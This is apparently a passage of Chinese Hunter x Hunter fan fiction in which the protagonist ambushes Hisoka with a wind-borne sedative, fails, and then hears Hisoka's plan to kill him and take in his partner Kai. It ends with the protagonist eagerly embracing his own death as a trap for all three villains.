他拖长了调子,一步步向前走来,每一步都像是踩在程笑疯狂擂鼓的心跳上,“而且,比以前~更有力气了哦?是接受了什么有趣的‘栽培’吗~?” 程笑背靠墙壁,手还死死抓着轮椅把手,指尖冰凉。 不是伪装高超,不是他眼瞎。 是萨恩的能力,像一层温暖的麻醉剂,让他毫无防备地、主动地走进了西索的狩猎范围,甚至还对猎人说了“谢谢”。 而西索……他根本不需要伪装。他只需要站在萨恩的能力范围内,耐心等待。 等待他自己走进来。 等待他自己,把脖子伸到铡刀下面。 程笑:“……………………” 这他妈是什么品种的变态逻辑鬼才! 阳光依旧温暖地洒在街道上。 但程笑只觉得一股寒气从脚底板直冲天灵盖。 他现在手无寸铁,凯不知在何方,而眼前这个笑得花枝乱颤的变态,显然对这次“精心策划”的偶遇,满意到了极点。 程笑咽了口唾沫,脑子里只剩下最后一个清晰的念头: ……凯!你到底什么时候回来!你队友要被迫和变态玩强制PLAY了啊——!!! 56.第 56 章 心脏在狂跳,但比心跳更剧烈的,是胸腔里那股几乎要炸开的、灼烧般的情绪。 害怕?有。但更多的,是愤怒。 对西索这种变态存在本身的愤怒,对自身弱小到只能东躲西藏的愤怒,对帮不上凯、只能眼睁睁看他独自涉险的无力感转化成的滔天怒火,还有……对自己可能真是个“累赘”、“废物”的深重怀疑和羞耻。 这些情绪被格雷塔的训练、被凯的离开、被连日来的高压像困兽一样关在心底,此刻,面对着西索那愉悦而扭曲的笑容,牢笼终于被挣破。 反正你不会杀未熟的苹果。 这个认知像一根导火索,引燃了所有压抑的炸药。 那就来啊! 看看我这个“苹果”,到底是能让你尝到点滋味的未来佳酿,还是根本就是个不值得费心的烂核! 如果我是废物……那死在这里,至少不浪费凯的心力。 如果我还有价值……那就证明给你看! 程笑眼中最后一丝恐惧被烧尽,只剩下冰冷的、近乎疯狂的决绝。他松开萨恩的轮椅,甚至对着茫然的萨恩扯出一个难看的笑:“萨恩哥,闭眼数一百,很快。” 然后,他转向西索,没有废话,没有挑衅的台词。 只是将格雷塔锤炼出的体能、凯灌输的杀手技巧理论、还有那点微薄却不稳定的念力,连同胸腔里所有的怒火与自我毁灭的冲动,全部压缩、点燃—— 爆发! 砰! 脚下的石板炸开细纹!程笑的身影如同出膛的炮弹,不是迂回,不是试探,就是最直接、最蛮横的直线冲刺!目标直指西索的胸膛! 西索金色瞳孔中愉悦的光芒闪烁:“嗯哼~莽撞的冲锋~?” 他甚至连姿势都没怎么变,只是微微侧身,计算好了程笑冲过的轨迹,准备像之前一样轻描淡写地避开,然后欣赏对方因惯性而狼狈失控的样子。 然而—— 就在程笑的身体即将与他错身而过的刹那,那个猛冲的身影,如同违反了物理定律般,猛地一分为二! 不,不是分身。是极速移动中留下的、逼真到极致的残影!揍敌客基础步法——肢曲! 真正的程笑,在冲刺的极限速度下,以一种近乎自残的方式强行扭转重心,肌肉发出不堪重负的呻吟,筋腱传来撕裂般的剧痛!但他根本不管!为了获得那一瞬间反向的爆发力,他甚至在扭身的瞬间,用念力裹住自己的小腿,狠狠一别! “咔嚓!” 一声轻微却令人牙酸的骨裂声从他自己的腿骨传来!用骨头的断裂,来替代筋腱可能彻底撕裂的致命伤!剧痛如同电流窜遍全身,却被他用怒火和意志死死压住! 借着这自残换来的、违背常理的制动与转向力,他的真身如同鬼魅般出现在了西索的侧后方——那个因预判他直线冲过而露出的、极其短暂的空档! 西索的眼中第一次闪过真正的讶异。不是因为这技巧多高明(甚至粗糙至极),而是因为这孩子对自己够狠! 程笑的拳头,凝聚了剩余的全部力量、体重加速度、以及那焚尽一切的怒火,没有打向脸颊,也没有打向后脑,而是精准刁钻地、如同毒蛇吐信,砸向西索的颈窝——没有骨骼保护,神经与血管密集的脆弱之地! 砰! 闷响声中,夹杂着程笑指骨可能碎裂的细微声音。 打中了! 结结实实,毫无花巧地打中了! 那一瞬间,程笑胸腔里沸腾的怒火、自我怀疑、所有的憋闷,仿佛都随着这一拳轰了出去!一种难以言喻的、近乎虚脱的畅快感掠过心头。 然后…… 西索的头,只是被他打得微微偏了一下。 甚至连脚步都没有挪动半分。 程笑感觉自己就像一拳砸在了浇筑于山体中的钢锭上,反震的力道让他手臂发麻,拳面剧痛。 西索缓缓转回头,颈窝处连个红印都没有。他金色的瞳孔看着程笑,里面充满了发现稀有玩具般的、更加浓烈的兴奋,甚至……一丝赞许? “很有想法的一击呢~?” 西索的声音甜腻得发颤,“力度嘛~还差得远哦~?” 程笑:“……” 他看着西索那张近在咫尺的、毫无损伤的脸,脑子里一片空白,只剩下一个清晰的念头: ……真他妈的硬。 几乎同时,程笑的战斗本能已经驱动身体向后急退! 但已经晚了。 一根粘稠的、粉红色的念线,不知何时已经悄无声息地黏在了他刚刚出拳的手腕上。 程笑:“…………咦。” 他脸上露出毫不掩饰的嫌弃表情,试图甩脱,但那念线如同附骨之疽。 西索微微一笑,手指轻轻一勾—— “过来吧~?” 巨大的、无法抗拒的拉力传来!程笑整个人被拽得凌空飞起,直直朝着西索撞去! 一般这种情况下,顺着拉力加速,同时挥出另一拳或踢击,是常见的破解/反击思路。 但程笑刚刚已经验证了,自己的全力一击连给对方挠痒痒都不够。 于是,在被拉过去的半空中,他做了一件让西索都微微一怔的事—— 他空着的左手,闪电般从后腰摸出了一把战术短刀。 西索挑眉:“哦?好思路~想用利器增加伤害吗?但我的‘坚’会更厚哦~?” 他以为程笑要持刀刺向他。 然而,程笑看都没看西索。他在被拉近到某个距离的瞬间,将全身残余的力量和念力灌注手臂,不是刺,而是全力将短刀朝着自己脚下的地面,狠狠投掷下去! 刀锋深深楔入石板缝隙! 西索瞬间明白了:“想用固定物对抗拉力?很聪明~但你的手臂关节会先承受不住哦~?” 他期待着程笑手臂脱臼或骨折的清脆声音。 但程笑要的不是对抗。 就在刀身入地、拉力与反作用力达到微妙平衡的刹那,程笑被念线黏住的右手手腕猛地一拧一抖!不是挣脱,而是借着念线本身的弹性和拉力,配合向下投刀的反冲力,将自己整个身体像个悠悠球一样,划出一道诡异的上抛弧线! 他从水平的“被拉过去”,变成了从斜上方朝着西索俯冲而下! 西索眼中的兴趣更浓了:“俯冲增加动能?不错的应变~但无论从哪个方向,力量不足都是徒劳哦~?” 他好整以暇地抬起另一只手,准备挡住这自上而下的一击。 俯冲而下的程笑,脸上却没有任何攻击的狠厉。他空着的左手,在身体掠过西索头顶上方、两人距离最近的瞬间,飞快地探入衣袋,然后—— 猛地一扬! 一大把不知道是什么的、灰扑扑的粉末,劈头盖脸地朝着西索撒了下去! 西索:“???” 他条件反射地闭眼、偏头,“坚”瞬间覆盖全身,念力更是牢牢封锁口鼻!虽然这些粉末大概率伤不到他,但未知总是让人有一瞬间的本能戒备和生理厌恶。 “不过~以你的俯冲速度……”西索甚至在粉末中轻笑出声,声音带着掌控一切的愉悦和一丝对程笑“鲁莽”的点评,“可比粉末落下的速度快多了哦~? 大概率会在我吸入任何奇怪东西之前,你就先一头撞进这片灰雾里了呢~?” 他以为这又是程笑那种“伤敌一千自损八百”的疯狂打法——用不知名的药物做障眼法或同归于尽的尝试,而程笑自己则会因为速度更快而首当其冲。 事实也的确如此。 程笑没有丝毫减速或转向,他就这么直直地冲进了自己扬起的粉末迷雾中!身影瞬间被灰扑扑的尘埃吞没! 这一下,连西索的视线也被彻底遮蔽了!他失去了程笑在粉尘中的确切位置和动作! 就是这一瞬间的目盲和判断延迟! 粉尘中,程笑借着俯冲的余势和念线尚未完全拉直的弹性,身体如同没有骨头的泥鳅般诡异一扭!被黏住的右手腕传来几乎要碎裂的剧痛,他以又一个令人牙酸的角度强行扭转,指骨甚至发出不堪重负的咯吱声,终于从“伸缩自如的爱”那粘稠的附着中挣脱了小半! 他没有试图完全挣脱,那需要时间和更大力量,而是利用这宝贵的、短暂的自由度,双腿蜷起,在弥漫的粉尘中,精准地蹬在了西索因为偏头躲避而微微侧露的肩膀上! “砰!” 一脚踏实的触感传来,程笑如同被弹弓射出的石子,借着这一蹬之力,加上念线本身尚未消散的拉力方向,整个人以比俯冲更快的速度向后倒射出去! 嗤啦! 那根粉红色的念线终于在拉力和程笑反向用力的撕扯下彻底断裂! 程笑如同断线的风筝,狼狈不堪地在空中翻了几圈,然后重重摔在远处的石板路上,又骨碌碌滚出去老远,直到后背狠狠撞在街角的墙壁上才停下。 “咳!咳咳咳……” 他瘫在墙角,浑身散架般剧痛,右臂和左腿的骨折处传来钻心的疼,右手腕软软垂下几乎没了知觉,肺里火辣辣地,也不知道吸进了多少。但那双因为疼痛和剧烈运动而充血的眼睛,却亮得吓人,死死盯着街道中央那片逐渐沉降的灰雾。 西索挥了挥手,驱散最后一点尘埃。他肩膀上有一个清晰的鞋印,但除此之外,毫发无伤。他拍打着衣服上的灰尘,脸上没有怒意,反而是一种品尝到意外美味的、更加浓郁的愉悦。他看向墙角那个奄奄一息却目光灼灼的少年,语气甜腻地赞叹: “~很有创意的想法呢~如果那些粉尘真的是某种厉害的药物,是你的最终后手的话~?” 他微微歪头,露出一个“可惜了”的笑容: “但是~我完全没有吸入哦~?‘坚’和闭气,可是基础中的基础~?” 他以为程笑的算计到此为止了,这是一次勇敢但失败的奇袭。 墙角的程笑,闻言却扯了扯嘴角。那笑容因为疼痛而扭曲,却透着一股难以言喻的、计划得逞般的诡异轻松。 他喘着气,声音沙哑却清晰地说:“…咳咳…谁告诉你…那是毒药了?” 西索脸上的笑容微微一滞:“……嗯?” 程笑费力地抬起没受伤的左手,指了指自己,又指了指西索周围正在彻底散去的粉尘,慢吞吞地说: “那是…解药哦。” 西索:“???解药?” 程笑看着他疑惑的表情,似乎觉得很有意思,他咳嗽了两声,才继续用那种气死人不偿命的语气补充道,同时目光意有所指地飘向了不远处,那个一直安静待在轮椅里、仿佛与世隔绝的萨恩: “…不然你猜……我为什么,一开始…要特意把萨恩的轮椅……推到上风口?” 西索顺着他的目光,猛地看向萨恩! 萨恩依旧安静地坐在轮椅上,双手无意识地交叠放在膝上,眼神空洞地望着前方。但西索那变态般敏锐的观察力,立刻捕捉到了不同——在萨恩那有些污渍的指缝间,似乎沾着一点点极其细微的、几乎看不见的暗色粉末。不仔细看,只会以为是污垢。 而风,正从萨恩的方向,朝着他们交战的位置,徐徐吹来。 “你……” 他张了张嘴,想说什么。 但已经晚了。 一股极其细微的麻痹感,如同最狡猾的毒蛇,率先从指尖和皮肤接触空气的地方窜起,然后以惊人的速度沿着神经向上蔓延!视野开始晃动,耳中的声音变得模糊不清,连程笑那张近在咫尺的、带着诡异平静的脸,也开始旋转、重影…… 这不是剧烈的痛苦,而是力量被悄然剥离、意识被温柔扼杀的无力感。 西索试图调动念力,却发现念力的流动也变得滞涩粘稠。他引以为傲的身体控制力,正在飞速流失。 “真是……漂亮的……” 他用尽最后一丝力气,挤出一个扭曲却无比兴奋的笑容,盯着程笑,“……陷阱啊……” 话音未落,那高大的身躯终于支撑不住,如同被抽掉了所有骨头的皮囊,向后轰然倒下。 “砰!” 沉重的闷响砸在石板路上,红发披散开来,脸上还凝固着那抹震惊与狂喜交织的诡异笑容,双目紧闭。 风,依旧吹拂着,带着一丝不易察觉的、来自萨恩方向的微甜气息。 程笑死死盯着地上毫无声息的西索,等了足足一分钟,两分钟…… 除了风吹动发丝,没有任何动静。 绷到极致的神经,在确认威胁暂时解除的这一刻,骤然断裂。 不是放松,是更深的虚空。 他张着嘴,却吸不进一口气。耳朵里是自己心脏疯狂砸向胸腔的轰鸣,混着骨头断裂处传来的、一波烈过一波的剧痛。眼前的一切——街道、阳光、倒下的红发怪物——都像是隔着一层晃动的、油腻的水。 我刚才…做了什么? 我差点死了。 不,是我以为自己能赢。 我真可笑。 一种混合着后怕、自我厌恶和纯粹生理性恶心的感觉,从胃里翻涌上来。他猛地偏过头,干呕了几声,却只吐出一些带着血丝的酸水。 他像条搁浅的鱼,瘫在墙角,目光空洞地落在西索身上,等了足足一分钟,两分钟…… 除了风吹动发丝,没有任何动静。 程笑这才极其艰难地、用还能动的左手,抠着墙壁,一点一点把自己挪了起来。每动一下,骨折处都传来撕心裂肺的剧痛,让他眼前阵阵发黑。 他像只濒死的爬行动物,拖着残破的身体,一点一点,蹭到了西索旁边。 蹲下——实则是瘫坐,伸出左手食指,小心翼翼地、戳了戳西索的脸颊。 温的,软的,没反应。 又轻轻拨开他的眼皮——瞳孔涣散,对光无反应。 “哈……哈哈……” 他发出嘶哑的、断断续续的声音,不像笑,更像喘不上气,“真…真撂倒了?…疼死我了……” 他笑了几声,又因为剧痛而吸气,表情扭曲。 缓了好一会儿,强烈的好奇心以及自个儿永不熄灭的作死之魂一起涌上心头。他挪近了一点,几乎趴在西索旁边,仔细端详这个刚才还如同噩梦般的男人。 现在看起来,也就是个长得挺帅、品味奇特的红发家伙罢了。 “啧……都是肉做的,你咋就这么抗造呢?” 他忍不住小声嘀咕,伸出没受伤的左手,这次不是戳,而是好奇地按了按西索那坚如磐石的颈窝——他全力一击连个红印都没留下的地方。“这肌肉密度……这筋腱强度……吃钢筋长大的吗?还是你们变态的生理构造不一样?神经和血管也镀膜了?” 他的思维开始不受控制地发散:“难道有什么独家秘方?以形补形,他是不是天天啃牛板筋?怪不得总是一副欲求不满……啊不是,是精力过剩的样子……话说回来,那是不是还得配点猪脑花补补他那变态的脑回路?或者吃点香蕉,补充钾离子,防止肌肉抽筋,毕竟他扭得跟麻花似的……”” 程笑越想越歪,碎碎念完全停不下来,仿佛这样就能驱散浑身的疼痛和残留的恐惧。他甚至试图去捏西索手臂上那线条分明的肱二头肌,研究其构造。 “……所以说,变强的道路真是荆棘密布啊,光练肌肉不够,还得堆毒抗,厚脸皮,练演技,学下毒……最好再开发一下怎么让风听话……诶?” 他正沉浸在自己的技术总结和天马行空的吐槽中,忽然—— 一只冰冷而有力的手,如同捕兽夹般,猛地扣住了他正在作死研究肌肉的手腕! “?????” 程笑所有的声音和思绪瞬间冻结!他惊恐地低头,对上了一双不知何时已经睁开、正闪烁着戏谑和无奈笑意的、熔金般的眼眸! 西索,依旧躺在地上,但握着他手腕的力道,清晰无比地宣告着清醒。 “抗药性……确实比一般人强那么一点~” 西索慢悠悠地开口,声音还带着一丝刚挣脱麻痹的沙哑,但那股甜腻的调子已经迅速回归,“毕竟……和小伊‘玩’得比较多,他那些可爱的小玩具,总得学着……稍微适应一下嘛~?” 程笑:“………………” 他大脑一片空白,像是生锈的齿轮,完全无法处理眼前的信息。迷药……没用?失败了?这变态是怪物吗?! 西索手腕轻轻一扭,就将浑身是伤、彻底懵掉的程笑拉得失去平衡,上半身几乎压在了自己身上。他另一只手抬起,略显僵硬但依旧精准地捏住了程笑的下巴,强迫他抬头看着自己。 “本来呢~” 西索叹了口气,金色瞳孔里流露出真实的、近乎挫败的遗憾,“看你布了这么精巧的一个局,我 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西索的声音甜腻如糖浆,内容却冰冷如刀,“战后不补刀,等于前面全白干哦~?” 程笑被捏得生疼,但更多的是一种世界观被反复摩擦的麻木。他扯了扯嘴角,挤出一个比哭还难看的笑容,声音从牙缝里挤出来: “补刀……也得有刀能补得动才行啊大哥……” 他眼神死寂地瞟了一眼西索那连颈窝皮肤都没破的脖子,“您这防御……我拿啥补?我骨头都敲成渣子了估计都破不了你的皮。” 西索像是被这个回答取悦了,低低地笑了起来,胸腔的震动透过紧贴的身体传到程笑身上。 “方法总比困难多嘛~?” 他松开了捏着下巴的手,转而用指尖点了点程笑的额头,像个耐心的变态导师,“比如~确认我昏迷后,为什么不立刻用你身上那把小刀,试试我的眼睛、耳朵、或者……这里?” 他的手指滑过程笑的咽喉,带来一阵冰凉的战栗。 “或者,至少也该立刻远离,而不是凑近了研究‘牛板筋’和‘猪脑花’~?” 西索的语气充满了“恨铁不成钢”的惋惜,“好奇心,有时候会害死猫~也会害死小苹果哦~?” 程笑:“…………” 他无话可说。他理亏。他确实被“这变态居然倒了?”和“他身体构造好神奇”的科研精神冲昏了头脑,忘了最基本的“反派倒地要补刀,补不动也要跑”的常识。 “我错了。”程笑干脆利落地认错,态度极其诚恳,眼神无比真挚,“下次一定先跑,跑远了再研究。” 西索盯着他看了两秒,忽然又笑了起来,这次笑得更开怀,仿佛听到了什么极有趣的话。 “下次~?” 他重复这个词,金眸里闪烁着期待的光芒,“好啊~我等着你的‘下次’~?” 西索松开钳制,程笑刚喘半口气,以为变态老师要开恩放生。 下一秒,西索的手快如鬼魅,指尖凝聚着粘稠的念力突然靠近颈侧,程笑那只没骨折的左手,如同垂死挣扎的鱼,猛地向上疾抬! 啪! 一声轻响,他的手掌险之又险地、几乎是贴着自己皮肤,挡住了西索的手指腕部。虽然力道完全无法抗衡,但这精准的格挡时机和速度,还是让西索微微挑眉。 “嗯哼~?反应还在嘛~?” 西索没有继续发力,反而饶有兴致地看着他。 程笑挡着那只手,喘着粗气,额头上全是冷汗,但眼神里却没什么恐惧,反而有种破罐子破摔的光棍劲儿。 “别……别介啊大哥……” 他声音嘶哑,带着重伤员的虚弱和一种奇特的商量口吻,“敲晕了多没意思……一路扛着也累不是?” 他努力扯出一个讨好的且难看的笑容:“让我……清醒着呗?我保证不乱动,不喊救命,不给你添麻烦……反正我也掀不起啥风浪了,您瞧我这胳膊腿儿的……” 西索歪着头,金色的瞳孔像猫一样打量着他,似乎在评估这个提议的“有趣”程度。 程笑趁热打铁,脑子在剧痛中飞速运转,试图找出最能打动这个变态的筹码:“那什么……您刚回……呃,出院?找落脚地儿也挺麻烦的吧?这小镇我熟啊!” 他眼神真诚地继续忽悠:“您要是缺个临时住处,包吃包住那种……我或许能……帮上点小忙?绝对清净,安全,还……” 他绞尽脑汁想形容词,“还……挺有生活气息的?” 西索金色的瞳孔微微眯起,似乎在品味“生活气息”这个词背后的真实含义。程笑被他看得心里发毛,赶紧转移话题,试图套取更有用的信息,同时也为自己寻找真正的“安全”落脚点。 “咳,那什么,”程笑立马换上一副同病相怜的唏嘘口吻,“你说你们三位大佬,为了逮我这个小虾米,在这破地方耗了这么久,房费、车马费、情报费……估计没少花吧?真是破费了破费了。” 他一边说,一边偷偷观察西索的表情。 西索歪了歪头,似乎很认真地思考了一下,然后用一种平淡中带着点无辜的语气回答:“花费啊~? 应该……有吧?不过……” 他顿了顿,嘴角勾起一个狡黠的弧度:“我第一天就被当作‘需要关怀的病人’请进去了,账单什么的……好像不是我自己处理的呢~?” 程笑:“……” 懂了,白嫖怪。 他再接再厉,把话题引向真正的金主:“那……揍敌客家呢?他们家大业大,这次为了您和伊尔迷少爷的合作,肯定拨款不少吧?啧啧,真是下了血本。” 西索这次笑得更开心了,他晃了晃手指,语气轻松得像在分享一个好消息:“啊~你说那个啊~之前或许是吧。不过现在嘛~账单会记在库洛洛头上哦?” 程笑:“!!!” 记库洛洛的账! 冤大头!不差钱! 而且坑他的钱,程笑毫无心理负担,甚至觉得……天经地义! “——那还说啥!” 程笑瞬间精神一振,连身上的疼痛都仿佛减轻了几分,他脸上绽放出一个极其灿烂且狗腿的笑容,声音都洪亮了不少,完全不像重伤员: “大哥!您这边请!跟我走!绝对给您安排得明明白白!” 他完全不用西索催促,立刻抬手指向与格雷塔小酒馆截然相反的、小镇另一头最繁华的区域: “看到那边最高的那栋楼没?对,就那个玻璃幕墙亮瞎眼的!镇上唯一的四星级酒店!顶楼套房,全景天窗,二十四小时管家服务,米其林推荐餐厅,水疗中心……绝对配得上您的身份!” 西索顺着程笑指的方向望去,又低头看了看这个瞬间活蹦乱跳、两眼放光的小苹果,脸上的笑容越来越大,越来越愉悦。 啊…多么熟悉的配方。 用最荒唐的行为,掩盖最沉重的意图。用喋喋不休的噪音,盖过内心崩毁的轰鸣。把所有的无能为力,包装成一个看似游刃有余的选择。 这让他想起一些流星街的老朋友,想起他们如何在绝境里,用类似的方式,一边唾弃自己的脏污,一边从垃圾堆里刨出生路。 但程笑更…“亮”一些。 也许是因为他还没有完全被染黑,也许是因为他心里还拴着那个叫“凯”的保险绳。他的痛苦里,还带着一种天真的、近乎可笑的“责任感”。 而这,正是最美味的部分。 西索的舌尖轻轻舔过齿列。他几乎能尝到,程笑那强装无事的表皮之下,翻涌着的、腥甜的自我毁灭欲望,和另一股更微弱、却更顽固的——想要为了某人而活下去的念头。 这两种力量在厮打。而程笑,正站在它们撕扯出的裂缝上,对他挤出一个比哭还难看的、关于酒店套房的推销笑容。 这件事本身,就充满了荒谬的乐趣和微妙的讽刺。 “嗯哼~?” 西索发出一个愉悦的颤音,操控念力,毫不犹豫地转向了程笑所指的豪华酒店方向。 “成交~” “那就……让我们去好好‘享受’一下~库·洛·洛·团·长的慷慨吧~?” 他甚至还故意用甜腻的语调念出了库洛洛的全名,仿佛已经看到了那位蜘蛛头子收到天价账单时,那副平静面具下可能产生的、一丝微妙的裂痕。 57.第 57 章 药膏的薄荷味混杂着一丝血腥气,在套房的暖光里弥漫。程笑像个被重新组装过的破布娃娃,半靠在堆满软垫的床头,浑身裹满绷带,右臂和左腿被固定得像个蹩脚的木乃伊。疼痛在药物的压制下变成一种沉闷的背景音,但更清晰的是神经末梢因高负荷运转后的细微颤抖。 西索坐在窗边的单人沙发里,就着窗外渐沉的暮色,慢条斯理地用湿巾擦拭着指尖残余的药膏。他的动作优雅得像在清理一件艺术品,而非刚刚粗暴地给对手上完药。 “那么~”西索开口,声音在寂静的房间里带着愉悦的回响,“来复盘一下吧,小苹果~” 程笑扯了扯嘴角,疼得“嘶”了一声,但语气居然还能带着点调侃:“别说了,现在回想起来,我当时应该立刻跪下来求您收我为徒,学怎么用眼神杀人,或者用笑容让人骨质疏松。” 西索低低地笑了起来:“嗯哼~你确实需要补补课~不过嘛……小巧思很精彩呢~” 他竖起一根手指,指尖在暮色中泛着微光,“利用萨恩的‘安心领域’让我降低警惕,事先在他身上或轮椅某处藏好真正的迷药媒介——应该是某种需要接触空气缓慢挥发、或者依赖风力扩散的配方吧?……还有在战斗中故意当着我的面,撒出那些‘解药’粉末。” 西索顿了顿,金色瞳孔里闪烁着纯粹智性上的赞赏: “你预判到,以我的战斗习惯,绝不会吸入任何可见的、飘散在空中的可疑物质。‘坚’和闭气是本能反应。所以,那些‘解药’粉末的真正作用,一是作为障眼法,遮挡我的视线,让我看不清你在粉尘中的确切动作和落点;二嘛……恐怕也是为了中和或者掩盖萨恩那边飘来的、真正的迷药气息?双重误导,很细腻的心思哦~” 程笑扯了扯嘴角,牵扯到脸上的擦伤,细微地吸了口气:“…谢谢夸奖。和凯待久了,多少学了点…皮毛。” “力量不足是硬伤,但战术意识已经超出很多所谓的‘高手’了~”西索话锋一转,语气里带上一丝真实的、恨铁不成钢的惋惜,“不过……那个‘战后处理’……啧。”他夸张地摇了摇头,“确认敌人倒下后,不补刀,不远离,反而凑上去研究肌肉结构和饮食方案……小苹果,你是去战斗还是去参加生理学研讨会的?” “我那叫科研精神!”程笑嘴硬,眼睛却忍不住瞟向西索的颈窝,那里连个红印都没留下,光滑得令人绝望。 “话说回来,大哥,您这身板到底怎么练的?我那一拳,虽说力有不逮吧,但也不算完全没劲啊?怎么连皮都没蹭破?您不会是皮肤底下焊了层振金吧?——别和我说你真的吃了钢筋。” 西索歪了歪头,金色的瞳孔里闪过一丝微妙的、近乎“同情”的笑意:“嗯~这个问题嘛~可能不是你太弱,而是你有点倒霉哦~?” “?”程笑挑眉。 “我的‘坚’啊~”西索用指尖点了点自己的太阳穴,语气轻快,“不是死板的盔甲,是流动的哦~像水一样,会根据直觉和攻击预判,自动汇聚到最可能被击中的地方。” 他看向程笑,笑容变得意味深长:“而你打中我的那一瞬间,正好是‘坚’的流动峰值,恰好汇聚在你拳头的落点上~所以,不是你的拳头没用,是你刚好……撞上了我最硬的时候呢~?” (真相:是库洛洛的“厄运虹吸”在那一刻悄然生效,让程笑“恰好”打在了防御最强点。西索隐约察觉了那一击的“不对劲”,但将之归咎于程笑的“倒霉”和战斗直觉的“巧合”。) 程笑:“……” 他沉默了两秒,然后面无表情地总结:“懂了,玄学。我命里缺德,活该打不穿。” 这个结论过于荒诞又精准,西索忍不住大笑起来,笑声在奢华的套房里回荡。 “对对对~就是这个感觉!”西索擦掉笑出的眼泪,看向程笑的眼神多了几分真正的兴味,“你说话的方式,很有意思呢~明明怕得要死,痛得要命,却能立刻编出这种……嗯,带着棺材板味儿的俏皮话。” 程笑翻了个白眼,牵动了额角的伤,又是一咧嘴:“过奖过奖,主要是在生死边缘蹦迪蹦多了,幽默感难免有点跑偏,直奔地狱主题公园了属于是。” “不过嘛~”西索的语气变得若有所思,指尖轻轻点着下巴,“经过刚才那场…嗯,‘互动’…我好像有点明白,为什么库洛洛和小伊,对‘凯’那么执着了呢~” 程笑心头一紧,但面上不显。 “以前嘛~”西索自顾自地说下去,声音甜腻如裹了毒的蜂蜜,“我以为他们追着凯不放,无非是想要一个高效的‘数据处理器’,一个顶尖的‘文职人员’~毕竟他曾经把揍敌客家的经济脉络打理得井井有条,还能从库洛洛眼皮子底下和你偷走整个宝库~这种头脑,确实算是无趣中的稀有。” 他金色的瞳孔微微收缩,像是发现了新大陆: “但现在我懂了~凯的价值,不止在于他自己是个精密仪器。”他的目光如同手术刀,刮过程笑缠满绷带的身体,“更在于,他能让你这样的‘半成品’,在短时间内,爆发出如此有趣的‘可能性’。” “仅仅是‘待在一起’,仅仅是‘学了点皮毛’,你就能布下这样的局,差点让我都中招~”西索的声音里充满了发现宝藏般的兴奋,“如果他全心全意地教导、辅助、甚至……‘寄生’在某个更强大的容器里呢?那会催生出何等美妙的化学反应?” 程笑的呼吸几不可查地屏住了一瞬。他听懂了西索的潜台词。 果然,西索的下一句话,就让房间的温度骤降: “怪不得小伊想着,杀掉你,让凯按照规则,强制寄宿到他的脑子里呢~”西索歪着头,仿佛在认真考虑这个方案,“嗯…如果是这样的话…” 他拖长了语调,熔金般的眼眸锁定了程笑,里面翻涌着一种近乎天真又极度残忍的探究欲: “…我觉得,让凯寄宿到我的脑子里,好像也…挺好玩的~?” 程笑全身的肌肉瞬间绷紧,尽管这带来一阵剧痛。他死死盯着西索,试图从那张妖孽的笑脸上分辨出多少是玩笑,多少是认真的威胁。 西索与他对视了几秒,忽然又“噗嗤”一声笑了出来,摆了摆手。 “嘛~算了算了!”他像是放弃了一个有点麻烦但很有趣的玩具,语气重新变得轻松,“仔细看看,你也还是颗很有潜力的小苹果呢~现在就摘掉,有点可惜了。” 他站起身,走到床边,居高临下地俯视着程笑。暮色完全沉下,窗外的城市灯光映在他脸上,勾勒出明明灭灭的阴影。 “这样吧~”西索用宣布游戏规则的愉快口吻说道,每个字都清晰无比地敲进程笑的耳膜,“我改变主意了。” “我先好好养着你,看着你这颗小苹果,能在我手里挣扎出什么样的滋味,绽放出多有趣的光泽。” “等我玩够了,等你再也没有‘下次’可以期待的时候——” 西索弯下腰,凑到程笑耳边,用近乎情人絮语般的温柔嗓音,吐出了最终判决: “我就杀了你。” “然后,让凯…按照那个有趣的‘规则’,不得不进入我的大脑。” 他直起身,张开双臂,脸上绽放出一个巨大而扭曲的、充满期待的笑容: “到那时~想想看吧!凯会想尽办法,在我的意识深处杀掉我,夺回控制权~小伊会暴怒地想要杀掉我,夺回他的‘财产’~库洛洛也会想杀掉我,夺取他看中的‘藏品’~” “所有人!都想杀我!” 西索的笑声在豪华套房里回荡,充满了纯粹的、战栗的狂喜: “那样的局面~光是想象一下……” “就让我兴奋得……快要高潮了呢~~~” 程笑躺在床上,安静地听着。 他浑身的疼痛依旧,绷带下的身体冰冷僵硬。但西索的话语,像一道闪电,劈开了他内心一直盘踞的、灰暗的迷雾。 他最初只想死得盛大,死得有创意,让世界记住一个叫“程笑”的烟火。 后来,他想保护凯,想挣扎着活下去。 再后来,他感到无力,觉得自己是累赘。 但现在,西索给了他一个全新的、疯狂到极致的视角: ——用自己(和凯)作为最诱人的饵,将这三个顶级的、彼此牵制的变态,全部拖入一场以“杀死西索以及争夺凯”为核心的、混乱至极的死亡漩涡。 如果操作得当…… 如果运气够好…… 如果…… 伊尔迷可能会死在这场乱斗中。 库洛洛也可能阴沟翻船。 西索……这个疯子本身,就是漩涡的中心,最可能被撕碎。 而凯…… 如果这三个最大的威胁能互相消耗殆尽…… 凯不就……自由了吗? 这个念头,像野火一样在程笑那虚无主义的荒原上烧了起来!比他自己设计“华丽谢幕”时更灼热,更……充满毁灭性的创造力! 对啊!为什么只想着自己一个人死得好看? 要死,就拖所有人下水! 用我的死,作为引爆这三个怪物互殴的炸弹! 用我的死亡,为凯炸出一条生路! 这不比单纯的“烟花”更酷,更带劲,更……符合他内心深处那种“要死也要拉垫背的”、“世界是个荒诞舞台不如大家一起演到崩塌”的恶劣本性吗?! 程笑的眼睛,一点点亮了起来。不是恐惧,不是求生,而是一种找到了终极答案般的、近乎癫狂的明悟和兴奋。 他苍白的脸上,缓缓地、扯开了一个巨大的、毫不掩饰的、甚至带着点赞许和共鸣的笑容。 “哈……”他发出一个短促的气音,然后越笑越大声,笑得浑身绷带都在颤动,笑得伤口崩裂渗血也毫不在意,“哈哈哈哈!妙啊!太妙了!西索,你他妈真是个天才!” 他看向西索,眼神灼热,充满了找到知己般的疯狂认同: “让所有人都想杀你?不,不够!” “是让所有人都不得不杀你!因为只有杀了你,他们才能得到他们最想要的,或者阻止对手得到!你把自己变成了唯一的钥匙,也是唯一的锁!谁拿到你,谁就打开了地狱的大门,也把自己锁死在了里面!” 程笑喘着气,脸上因激动而泛起不正常的潮红: “这主意太棒了!比我自己原先想的什么狗屁‘盛大谢幕’强一万倍!混乱!算计!背叛!所有人的欲望和仇恨搅在一起,像一台血肉磨坊!而你,站在磨盘最中心,享受被碾碎的极致快感!顺便……把所有人都他妈的拖下去!” 他几乎要手舞足蹈,如果他的手脚还能动的话: “如果能用我的死,把你、伊尔迷、库洛洛这三个王八蛋一起送进地狱……那我这辈子,简直值回票价!血赚不亏!” 